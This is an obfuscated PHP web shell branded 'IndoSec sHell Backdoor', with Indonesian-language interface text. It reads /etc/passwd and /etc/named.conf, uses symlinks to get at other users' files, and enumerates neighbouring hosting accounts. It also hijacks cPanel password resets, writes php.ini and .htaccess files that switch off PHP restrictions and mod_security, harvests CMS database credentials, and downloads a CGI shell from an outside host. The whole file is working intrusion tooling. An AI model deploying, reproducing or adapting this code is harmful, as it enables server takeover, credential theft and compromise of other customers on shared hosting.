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' class='ico'></img>"; goto GGZ6U; WLipb: function aksiSymread($dir, $file) { goto AScRR; AScRR: echo "read /etc/named.conf
	<form method='post' action='?dir={$dir}&aksi=symread&save=1'>\xd\xa\x9<textarea class='form-control' rows='13' name='file'>"; goto byp83; ypqLT: $r3ad = @fopen($file, "r"); goto ou4UD; X5DVl: flush(); goto VXo7z; crArn: echo "</textarea><br/><input type='submit' class='btn btn-danger form-control' value='Save'/> </form>"; goto z1Rje; VXo7z: $file = "/etc/named.conf"; goto ypqLT; z1Rje: if (isset($_GET["save"])) { goto FjsGB; l1fTl: $f = fopen("named.txt", "w"); goto vV41M; FjsGB: $cont = stripcslashes($_POST["file"]); goto l1fTl; vV41M: $w = fwrite($f, $cont); goto NrWHE; NrWHE: if ($w) { echo "<br/>save has been successfully"; } goto SO8bN; SO8bN: fclose($f); goto KcZki; KcZki: } goto smWwA; ou4UD: if ($r3ad) { $content = @fread($r3ad, @filesize($file)); echo '' . htmlentities($content) . ''; } else { if (!$r3ad) { $r3ad = @show_source($file); } else { if (!$r3ad) { $r3ad = @highlight_file($file); } else { if (!$r3ad) { $sm = @symlink($file, "sym.txt"); if ($sm) { goto zC9fP; zC9fP: $r3ad = @fopen("indosec_sym/sym.txt", "r"); goto F6LlO; F6LlO: $content = @fread($r3ad, @filesize($file)); goto lu64w; lu64w: echo '' . htmlentities($content) . ''; goto Y_AY2; Y_AY2: } } } } } goto crArn; smWwA: exit; goto zLd1j; byp83: flush(); goto X5DVl; zLd1j: } goto lGLyr; ecDhJ: if (!$d0mains) { $dom = "<font color=red size=2px>Cant Read [ /etc/named.conf ]</font>"; $GLOBALS["need_to_update_header"] = "true"; } else { goto mWHyP; mWHyP: $count = 0; goto m2pki; C1dek: $dom = "{$count} Domain"; goto YG1fX; m2pki: foreach ($d0mains as $d0main) { if (@strstr($d0main, "zone")) { goto rn_nC; oeskc: if (strlen(trim($domains[1][0])) > 2) { flush(); $count++; } goto KTNiv; rn_nC: preg_match_all("#zone "(.*)"#", $d0main, $domains); goto VVN0X; VVN0X: flush(); goto oeskc; KTNiv: } } goto C1dek; YG1fX: } goto POaEb; OBiJL: function aksiJump($dir, $file, $ip) { goto K3e5g; cdtEi: echo "<div class='card container'>"; goto fyJ0f; K3e5g: $i = 0; goto cdtEi; fyJ0f: if (preg_match("/hsphere/", $dir)) { $urls = explode("
", $_POST["url"]); if (isset($_POST["jump"])) { goto SbzXS; BbbRa: echo "</pre>"; goto OLNLA; SbzXS: echo "<pre>"; goto et_k3; SWDCa: if (!$i == 0) { echo "<br>Total ada {$i} KAMAR di {$ip}"; } goto BbbRa; et_k3: foreach ($urls as $url) { goto WETkP; LPRla: while ($gets = fgets($f)) { $pecah = explode(":", $gets); $user = $pecah[0]; $dir_user = "/hsphere/local/home/{$user}"; if (is_dir($dir_user) === true) { $url_user = $dir_user . "/" . $url; if (is_readable($url_user)) { goto Yx4as; Yx4as: $i++; goto iXRIe; SKZ5J: echo $jrw . "<br>"; goto htNmc; iXRIe: $jrw = "[<font color=green>R</font>] <a href='?dir={$url_user}'><font color=#0046FF>{$url_user}</font></a>"; goto y_v5A; y_v5A: if (is_writable($url_user)) { $jrw = "[<font color=green>RW</font>] <a href='?dir={$url_user}'><font color=#0046FF>{$url_user}</font></a>"; } goto SKZ5J; htNmc: } } } goto xL_hd; UoO4D: $etc = "/etc/passwd"; goto pwi1u; pwi1u: $f = fopen($etc, "r"); goto LPRla; WETkP: $url = str_replace(array("http://", "www."), '', strtolower($url)); goto UoO4D; xL_hd: } goto SWDCa; OLNLA: } else { goto noSn3; icM62: echo "</textarea><br>
\xa			\x9\x9  <input type="submit" value="Jumping" name="jump" class="btn btn-danger btn-block">
\xa		\x9</form></center>"; goto MmXi_; L_Oga: while ($getss = fgets($fp)) { echo $getss; } goto icM62; Cio94: $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt", "r"); goto L_Oga; noSn3: echo "<center><form method="post">\xd
	\x9\x9	List Domains: <br>
\xa\x9\x9		<textarea name="url" class="form-control">"; goto Cio94; MmXi_: } } elseif (preg_match("/vhosts/", $dir)) { $urls = explode("
\xa", $_POST["url"]); if (isset($_POST["jump"])) { goto lyQP9; y1YiF: foreach ($urls as $url) { $web_vh = "/var/www/vhosts/{$url}/httpdocs"; if (is_dir($web_vh) === true) { if (is_readable($web_vh)) { goto SIxtK; Kdvjj: if (is_writable($web_vh)) { $jrw = "[<font color=green>RW</font>] <a href='?dir={$web_vh}'><font color=#0046FF>{$web_vh}</font></a>"; } goto yJslN; yJslN: echo $jrw . "<br>"; goto WqYY8; SIxtK: $i++; goto i8rSC; i8rSC: $jrw = "[<font color=green>R</font>] <a href='?dir={$web_vh}'><font color=#0046FF>{$web_vh}</font></a>"; goto Kdvjj; WqYY8: } } } goto rsB0y; OnBPh: echo "</pre>"; goto h2DWC; rsB0y: if (!$i == 0) { echo "<br>Total ada {$i} Kamar Di {$ip}"; } goto OnBPh; lyQP9: echo "<pre>"; goto y1YiF; h2DWC: } else { goto o2Z7N; qEGjJ: bing("ip:{$ip}"); goto fy6Xs; fy6Xs: echo "</textarea><br>
\x9\x9	\x9<input type="submit" value="Jumping" name="jump" class="btn btn-danger btn-block">
\x9\x9	</form></center>"; goto dzgxi; o2Z7N: echo "<center><form method="post">
\x9\x9	\x9List Domains: <br>
\xa		\x9	<textarea name="url" class="form-control">"; goto qEGjJ; dzgxi: } } else { goto nYjKk; ZSmKu: while ($passwd = fgets($etc)) { if ($passwd == '' || !$etc) { echo "<font color=red>Can't read /etc/passwd</font><br/>"; } else { preg_match_all("/(.*?):x:/", $passwd, $user_jumping); foreach ($user_jumping[1] as $user_pro_jump) { $user_jumping_dir = "/home/{$user_pro_jump}/public_html"; if (is_readable($user_jumping_dir)) { goto yuIL1; nseSy: $jrw = "[<font color=green>R</font>] <a href='?dir={$user_jumping_dir}'><font color=#0046FF>{$user_jumping_dir}</font></a>"; goto RCrD5; fVWUD: if (function_exists("posix_getpwuid")) { $domain_jump = file_get_contents("/etc/named.conf"); if ($domain_jump == '') { echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>"; } else { preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump); foreach ($domains_jump[1] as $dj) { goto RCB21; I9AMS: $user_jumping_url = $user_jumping_url["name"]; goto xuZu7; RCB21: $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/{$dj}")); goto I9AMS; xuZu7: if ($user_jumping_url == $user_pro_jump) { echo " => ( <u>{$dj}</u> )<br>"; break; } goto OUQm3; OUQm3: } } } else { echo "<br>"; } goto vEOsQ; RCrD5: if (is_writable($user_jumping_dir)) { $jrw = "[<font color=green>RW</font>] <a href='?dir={$user_jumping_dir}'><font color=#0046FF>{$user_jumping_dir}</font></a>"; } goto Zkho9; Zkho9: echo $jrw; goto fVWUD; yuIL1: $i++; goto nseSy; vEOsQ: } } } } goto DZyze; CFPmE: $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font><br/>"); goto ZSmKu; nYjKk: echo "<pre>"; goto CFPmE; DZyze: if (!$i == 0) { echo "<br>Total ada {$i} kamar di {$ip}"; } goto virvA; virvA: echo "</pre>"; goto fW1c1; fW1c1: } goto pgfDi; Mu9re: exit; goto Se7lZ; pgfDi: echo "</div><br/>"; goto Mu9re; Se7lZ: } goto mZGym; S4pkQ: function resetCp($dir) { goto jux65; UQeJS: if (isset($_POST["submit"])) { goto CR7u3; Wi2ST: echo "<br/>Url: " . $parm . ''; goto IqY8C; uKMZ7: $email = $_POST["email"]; goto rCs1o; I7Vis: $f = fopen("/home/" . $user . "/.cpanel/contactinfo", "w"); goto vAvki; hfGwW: @fwrite($f, $wr); goto ZULU8; ZULU8: @fclose($f); goto sSPx2; IqY8C: echo "<br/>Username: " . $user . ''; goto RFJ8y; q2UB4: $ips = getenv("REMOTE_ADDR"); goto uKMZ7; sSPx2: $parm = $site . ":2082/resetpass?start=1"; goto Wi2ST; CR7u3: $user = get_current_user(); goto YgVIH; qWkJo: $f = fopen("/home/" . $user . "/.contactinfo", "w"); goto hfGwW; rCs1o: $wr = "email:" . $email; goto I7Vis; a3LWY: @fclose($f); goto qWkJo; YgVIH: $site = $_SERVER["HTTP_HOST"]; goto q2UB4; RFJ8y: echo "<br/>Success Reset To: " . $email . "<br/><br/>"; goto jwLww; vAvki: @fwrite($f, $wr); goto a3LWY; jwLww: } goto cq3qa; jux65: echo "<h5 class="text-center mb-4"><i class="fa fa-key"></i> Auto Reset Password Cpanel</h5>
	<form method="POST">
\xa\x9	<div class="form-group input-group">
\x9		<div class="input-group-prepend">
	\x9\x9\x9<div class="input-group-text"><i class="fa fa-envelope"></i></div>
\x9	\x9	</div>\xd
\x9	\x9\x9<input type="email" name="email" class="form-control" placeholder="Masukan Email..."/>\xd\xa\x9	\x9</div>\xd\xa			<input type="submit" name="submit" class="btn btn-danger btn-block" value="Send"/>
\x9\x9</div>
\xa	</form>"; goto UQeJS; cq3qa: exit; goto fyLA3; fyLA3: } goto MuqZH; kD39o: $ip = getHostByName(getHostName()); goto CxhHz; Mc7Gl: function aksicgi($dir, $file) { goto kRXWm; kRXWm: $full = str_replace($_SERVER["DOCUMENT_ROOT"], '', $dir); goto ZDK71; P3r41: exit; goto Xbqtw; ZDK71: function cgi($url, $isi) { goto JWjQ7; bOIVz: curl_setopt($ch, CURLOPT_URL, $url); goto tvYu4; zIgAk: $ch = curl_init(); goto bOIVz; LPWyN: ob_flush(); goto QGaB_; QdRNn: curl_setopt($ch, CURLOPT_FILE, $fp); goto Wm_i7; QGaB_: flush(); goto RYlnj; JWjQ7: $fp = fopen($isi, "w"); goto zIgAk; ZSU1L: fclose($fp); goto LPWyN; Wm_i7: return curl_exec($ch); goto XY_I_; OlBrH: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); goto QdRNn; XY_I_: curl_close($ch); goto ZSU1L; tvYu4: curl_setopt($ch, CURLOPT_BINARYTRANSFER, true); goto NTGs4; NTGs4: curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); goto OlBrH; RYlnj: } goto XaxBl; XaxBl: if (file_exists("cgi.php")) { echo "<a href='{$full}/cgi.php' target='_blank' class='text-center btn btn-success btn-block mb-3'>Login cgi</a>"; } else { if (cgi("http://flow.sytes.net/arrow/cgi.txt", "cgi.php")) { echo "<p class='text-center'>Berhasil Membuat cgi</p><a href='{$full}/cgi.php' target='_blank' class='text-center btn btn-success btn-block mb-3'>Login cgi</a>"; } else { echo "<p class='text-center text-danger'>Gagal Membuat cgi</p>"; } } goto P3r41; Xbqtw: } goto xj_BI; VuWTN: function disabFunc($dir, $file) { goto cuJDY; cuJDY: echo "<div class='card card-body text-center text-dark'>
\x9	<h4 class='text-center mt-2 mb-3'>Bypass Disable Functions</h2>\xd
\x9	<form method='POST'>\xd
\x9\x9\x9<input type='submit' class='btn btn-danger' name='ini' value='php.ini'/>
	\x9	<input type='submit' class='btn btn-danger' name='htce' value='.htaccess'/>
	\x9	<input type='submit' class='btn btn-danger' name='litini' value='Litespeed'/>\xd\xa		</form>"; goto WXm5z; bMCex: echo "</div>"; goto OeQKP; WXm5z: if (isset($_POST["ini"])) { goto RogF8; pkAjO: fclose($file); goto tMMTu; tMMTu: echo "<a href='php.ini' class='btn btn-success btn-block' target='_blank'>Klik Coeg!</a>"; goto axAib; RogF8: $file = fopen("php.ini", "w"); goto BjIBX; BjIBX: echo fwrite($file, "safe_mode = OFF\xadisable_functions = NONE"); goto pkAjO; axAib: } elseif (isset($_POST["htce"])) { goto ydTsf; j0h9Q: fclose($file); goto UiIen; kEtwp: echo fwrite($file, "<IfModule mod_security.c>
SecFilterEngine Off\xaSecFilterScanPOST Off\xa</IfModule>"); goto j0h9Q; ydTsf: $file = fopen(".htaccess", "w"); goto kEtwp; UiIen: echo "<p>.htaccess successfully created!</p>"; goto LqXJD; LqXJD: } elseif (isset($_POST["litini"])) { goto aTyLP; XOaIQ: $swa = "success"; goto QFOLi; QFOLi: $text = "Disable Functions in Litespeed Created"; goto RsPl8; aTyLP: $iniph = "PD8gZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCmVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7DQplY2hvIGluY2x1ZGUoJF9HRVRbImZpbGUiXSk7DQplY2hvIGluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmVjaG8gaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOw0KZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCmVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7DQplY2hvIGluY2x1ZGUoJF9HRVRbInNzIl07DQo/Pg=="; goto ZHiHz; MRtpH: file_put_contents(".htaccess", $comp); goto XOaIQ; AnEM7: file_put_contents("php.ini", $byph); goto RhI14; RhI14: file_put_contents("ini.php", $iniph); goto MRtpH; RsPl8: swall($swa, $text, $dir); goto u5S3u; ZHiHz: $byph = "safe_mode = OFF
disable_functions = NONE"; goto QxTkr; QxTkr: $comp = "<Files *.php>
ForceType application/x-httpd-php4
</Files>"; goto AnEM7; u5S3u: } goto bMCex; OeQKP: } goto S4pkQ; ss2lY: echo "&nbsp;&nbsp;[ " . w($dir, perms($dir)) . " ]"; goto nXepv; mP4ds: $path = str_replace("\", "/", $path); goto SjvR3; wrsRs: if ($_GET["aksi"] == "adminer") { aksiAdminer($dir, $file); } goto tlikY; dmN97: function login_shell() { echo "<!DOCTYPE html>\xd
<html>\xd
\x9<head>
	\x9<meta name="viewport" content="widht=device-widht, initial-scale=1.0"/>
\xa\x9\x9<meta name="theme-color" content="#343a40"/>\xd
\x9	<meta name="author" content="Holiq"/>\xd\xa		<meta name="copyright" content="{ IndoSec }"/>\xd
\x9	<title>{ IndoSec sHell }</title>\xd
		<link rel="icon" type="image/png" href="https://www.holiq.projectku.ga/indosec.png"/>\xd\xa		<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.0/css/bootstrap.min.css"/>
\x9\x9<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.1/css/all.css"/>\xd
\x9</head>\xd
	<body class="bg-dark text-center text-light">\xd
	\x9<div class="container text-center mt-3">
\xa\x9	\x9<h1>{ INDOSEC }</h1>
			<h5>sHell Backdoor</h5><hr/>
\xa\x9	\x9<p class="mt-3 font-weight-bold"><i class="fa fa-terminal"></i> Please Login</p>
	\x9	<form method="post">\xd
\x9\x9\x9	<div class="form-group input-group">\xd\xa	\x9	\x9	<div class="input-group-prepend">\xd\xa	\x9\x9\x9		<div class="input-group-text"><i class="fa fa-user"></i></div>\xd\xa	\x9\x9	\x9</div>
					<input type="password" name="pass" placeholder="User Id..." class="form-control">
		\x9	</div>\xd
		\x9	<input type="submit" class="btn btn-danger btn-block" class="form-control" value="Login">\xd\xa\x9\x9\x9</form>
\xa\x9\x9</div>
		<a href="https://facebook.com/IndoSecOfficial" class="text-muted fixed-bottom mb-3">Copyright 2019 @ { IndoSec }</a>\xd
	</body>
\xa</html>
\xa"; exit; } goto p4LcE; SVbJ1: function perms($file) { goto MIbz3; F0xsA: if (($perms & 0xc000) == 0xc000) { $info = "s"; } elseif (($perms & 0xa000) == 0xa000) { $info = "l"; } elseif (($perms & 0x8000) == 0x8000) { $info = "-"; } elseif (($perms & 0x6000) == 0x6000) { $info = "b"; } elseif (($perms & 0x4000) == 0x4000) { $info = "d"; } elseif (($perms & 0x2000) == 0x2000) { $info = "c"; } elseif (($perms & 0x1000) == 0x1000) { $info = "p"; } else { $info = "u"; } goto K_QcC; sOA5O: $info .= $perms & 0x20 ? "r" : "-"; goto oII2R; dMd0a: $info .= $perms & 0x80 ? "w" : "-"; goto Z3SPB; K_QcC: $info .= $perms & 0x100 ? "r" : "-"; goto dMd0a; Z3SPB: $info .= $perms & 0x40 ? $perms & 0x800 ? "s" : "x" : ($perms & 0x800 ? "S" : "-"); goto sOA5O; oII2R: $info .= $perms & 0x10 ? "w" : "-"; goto svGUC; XfxdM: return $info; goto nyG5c; c7NDv: $info .= $perms & 0x1 ? $perms & 0x200 ? "t" : "x" : ($perms & 0x200 ? "T" : "-"); goto XfxdM; svGUC: $info .= $perms & 0x8 ? $perms & 0x400 ? "s" : "x" : ($perms & 0x400 ? "S" : "-"); goto tGBBe; MIbz3: $perms = fileperms($file); goto F0xsA; O803U: $info .= $perms & 0x2 ? "w" : "-"; goto c7NDv; tGBBe: $info .= $perms & 0x4 ? "r" : "-"; goto O803U; nyG5c: } goto Il_fQ; AjRpV: function chmodFile($dir, $file, $nfile) { goto IatvF; F0Uq7: if (isset($_POST["perm"])) { if (@chmod($_GET["file"], $_POST["perm"])) { echo "<font color="lime">Change Permission Berhasil</font><br/>"; } else { echo "<font color="white">Change Permission Gagal</font><br/>"; } } goto nDEZH; IatvF: echo "<form method='POST'>\xd\xa\x9	<h5>Chmod File : {$nfile} </h5>
\x9\x9<div class='form-group input-group'>\xd
\x9	\x9<input type='text' name='perm' class='form-control' value='" . substr(sprintf("%o", fileperms($_GET["file"])), -4) . "'>\xd
			<input type='submit' class='btn btn-danger form-control' value='Chmod'>
\x9\x9</div>\xd
	</form>"; goto F0Uq7; nDEZH: exit; goto jyT_l; jyT_l: } goto RUSfB; RUSfB: function buatFile($dir, $imgfile) { echo "<h4>{$imgfile} Buat File :</h4>
\xa\x9<form method='POST'>
\xa	\x9<div class='input-group'>
		\x9<input type='text' class='form-control' name='nama_file[]' placeholder='Nama File...'>
		\x9<div class='input-group-prepend'>
\xa				<div class='input-group-text'><a id='add_input'><i class='fa fa-plus'></i></a></div>
\xa\x9\x9	</div>\xd
\x9\x9</div><br/>\xd
		<div id='output'></div>
\xa	\x9<textarea name='isi_file' class='form-control' rows='13' placeholder='Isi File...'></textarea><br/>\xd
\x9	<input type='submit' class='btn btn-info btn-block' name='bikin' value='Buat'>\xd
\x9</form>"; if (isset($_POST["bikin"])) { goto TXybf; bP48H: $isi_file = $_POST["isi_file"]; goto TIjwc; LJgHB: if ($buat) { goto DB0UR; DB0UR: $swa = "success"; goto ru_ZD; ru_ZD: $text = "Berhasil Membuat File"; goto Qdj2z; Qdj2z: swall($swa, $text, $dir); goto xfboQ; xfboQ: } else { goto X6ZNE; tPblB: swall($swa, $text, $dir); goto l7oxO; rMoT8: $text = "Gagal Membuat File"; goto tPblB; X6ZNE: $swa = "error"; goto rMoT8; l7oxO: } goto o9oIc; TIjwc: foreach ($name as $nama_file) { $handle = @fopen("{$nama_file}", "w"); if ($isi_file) { $buat = @fwrite($handle, $isi_file); } else { $buat = $handle; } } goto LJgHB; TXybf: $name = $_POST["nama_file"]; goto bP48H; o9oIc: } } goto zepmk; yhEJG: echo "</table></div><hr/>
\xa\x9			<center><a class="text-muted" href="https://facebook.com/IndoSecOfficial">Copyright 2019 { IndoSec }</a></center><br/>"; goto xz2zF; vWrZ6: function buatFolder($dir, $imgfol) { echo "<h5>{$imgfol} Buat Folder :</h5>\xd\xa	<form method='POST'>\xd
\x9\x9<div class='input-group'>
\xa\x9	\x9<input type='text' class='form-control' name='nama_folder[]' placeholder='Nama Folder...'>\xd\xa\x9		<div class='input-group-prepend'>
	\x9	\x9<div class='input-group-text'><a id='add_input1'><i class='fa fa-plus'></i></a></div>\xd
\x9	\x9</div>\xd\xa		</div><br/>
\xa		<div id='output1'></div>\xd
\x9\x9<input type='submit' class='btn btn-info btn-block' name='buat' value='Buat'>
	</form>"; if (isset($_POST["buat"])) { goto leHC9; ENzR_: foreach ($nama as $nama_folder) { $folder = preg_replace("([^\w\s\d\-_~,;:\[\]\(\].]|[\.]{2,})", '', $nama_folder); $fd = @mkdir($folder); } goto fXIC_; fXIC_: if ($fd) { goto gCL6f; mNXyP: $text = "Berhasil Membuat Folder"; goto rISM9; rISM9: swall($swa, $text, $dir); goto H9ojP; gCL6f: $swa = "success"; goto mNXyP; H9ojP: } else { goto nYM5r; nYM5r: $swa = "error"; goto XjzSP; XjzSP: $text = "Gagal Membuat Folder"; goto LIuSK; LIuSK: swall($swa, $text, $dir); goto Inr66; Inr66: } goto FmuXF; leHC9: $nama = $_POST["nama_folder"]; goto ENzR_; FmuXF: } } goto Pr5dP; yu_yk: if ($_GET["aksi"] == "sym_404") { sym404($dir, $file); } goto WUrcF; JC923: if ($_GET["aksi"] == "masdef") { aksiMasdef($dir, $file, $imgfol, $imgfile); } goto Ejk2k; ZxAyc: $free = disk_free_space($dir); goto MGkZQ; Cykyt: function ambilKata($param, $kata1, $kata2) { goto Ltda4; O9CUy: $return = substr($param, $start, $end - $start); goto cEEe0; xgMRn: $start = strpos($param, $kata1) + strlen($kata1); goto cPnYi; cPnYi: $end = strpos($param, $kata2, $start); goto O9CUy; Ltda4: if (strpos($param, $kata1) === FALSE) { return FALSE; } goto J8Y89; J8Y89: if (strpos($param, $kata2) === FALSE) { return FALSE; } goto xgMRn; cEEe0: return $return; goto pbRDo; pbRDo: } goto PRVva; HPFNR: function about() { echo "<div class="card text-center bg-light about">
\xa\x9\x9<h4 class="card-header">{ IndoSec }</h4>
\xa		<div class="card-body">\xd
		\x9<center><div class="img"></div></center>\xd\xa	\x9	<p class="card-text">{ IndoSec } Adalah Sebuah Komunitas Yang Berfokus Kepada Teknologi Di Indonesia, Dari Membuat Mengamankan Dan Mengexploitasi Sebuah Sistem.</p>
		</div>
\x9\x9<div class="card-footer">
\xa\x9	\x9<small class="card-text text-muted">Copyright 2019 { IndoSec }</small>
\xa	\x9</div>
	</div><br/>"; exit; } goto SgkPP; MuqZH: function autoEdit($dir, $file) { if ($_POST["hajar"]) { if (strlen($_POST["pass_baru"]) < 6 or strlen($_POST["user_baru"]) < 6) { echo "Username dan Password harus lebih dari 6 karakter"; } else { goto VU6Vg; nOtzz: $conf = $_POST["config_dir"]; goto g8oRO; tc_iq: foreach ($scan_conf as $file_conf) { goto WfS_A; EDVER: $config = file_get_contents("{$conf}/{$file_conf}"); goto Mspgj; Mspgj: if (preg_match("/JConfig|joomla/", $config)) { goto fuvaO; kWa51: $prefix = $dbprefix . "users"; goto keht7; uB1bz: echo "Config => " . $file_conf . "<br>"; goto oEIOg; keht7: $conn = mysql_connect($dbhost, $dbuser, $dbpass); goto ygRYN; fuvaO: $dbhost = ambilkata($config, "host = '", "'"); goto zBmGk; zBmGk: $dbuser = ambilkata($config, "user = '", "'"); goto khuHg; MzgFC: if ($site == '') { echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>"; } else { echo "Sitename => {$site}<br>"; } goto COide; AnXvI: 